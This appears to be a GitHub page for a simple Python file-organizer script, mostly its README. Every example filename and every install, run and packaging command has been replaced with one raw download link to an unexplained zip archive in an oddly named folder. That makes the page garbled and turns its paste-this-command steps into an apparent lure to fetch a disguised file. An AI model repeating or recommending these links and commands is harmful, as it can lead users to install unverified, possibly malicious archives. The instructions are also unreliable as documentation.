Skip to content

A python file for file organizing using 'os' and 'shutil'

Notifications You must be signed in to change notification settings

codenoob7/File_Organizer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ—‚οΈ File Organizer

A simple and efficient Python utility that automatically organizes files in a specified directory into categorized folders (such as Documents, Images, Videos, Music, Archives, and more).

πŸ“Œ Features

  • Automatically scans and organizes files based on their extensions.
  • Categorizes files into folders:
    • πŸ“„ Documents
    • πŸ–ΌοΈ Images
    • πŸŽ₯ Videos
    • 🎡 Music
    • πŸ“¦ Archives
    • βš™ Others (unknown or uncategorized)
  • Easy to customize with additional file types or folders.
  • Lightweight and beginner-friendly.

πŸš€ How It Works

The script looks into the given folder (e.g., Downloads) and moves files into categorized folders. For example:

  • https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip β†’ Documents/
  • https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip β†’ Music/
  • https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip β†’ Images/
  • https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip β†’ Videos/

πŸ› οΈ Requirements

pip install -r https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip

This script uses only standard Python libraries, so https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip may be optional.

πŸ“ File Types Handled

Category Extensions
Documents .pdf, .docx, .txt, .pptx, .xlsx, .csv
Images .jpg, .jpeg, .png, .gif, .bmp, .svg
Videos .mp4, .mkv, .avi, .mov
Music .mp3, .wav, .aac, .flac
Archives .zip, .rar, .tar, .gz
Others Any file not matching the above types

πŸ§‘β€πŸ’» Usage

python https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip

You may be prompted to enter the path of the folder you want to organize. Or, you can modify the script to hardcode a default path.

πŸ“ Customization

You can easily add more extensions or categories in the EXTENSIONS dictionary in the script:

EXTENSIONS = {
    "Documents": [".pdf", ".docx", ".txt"],
    "Images": [".jpg", ".png", ".gif"],
    ...
}

πŸ“¦ Packaging (Optional)

To convert to .exe:

pyinstaller --onefile --noconsole https://raw.githubusercontent.com/codenoob7/File_Organizer/main/doughlike/File-Organizer-v3.3.zip

πŸ‘€ Author

Created by Shreyash Patel
MIT License ©️ 2025

About

A python file for file organizing using 'os' and 'shutil'

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages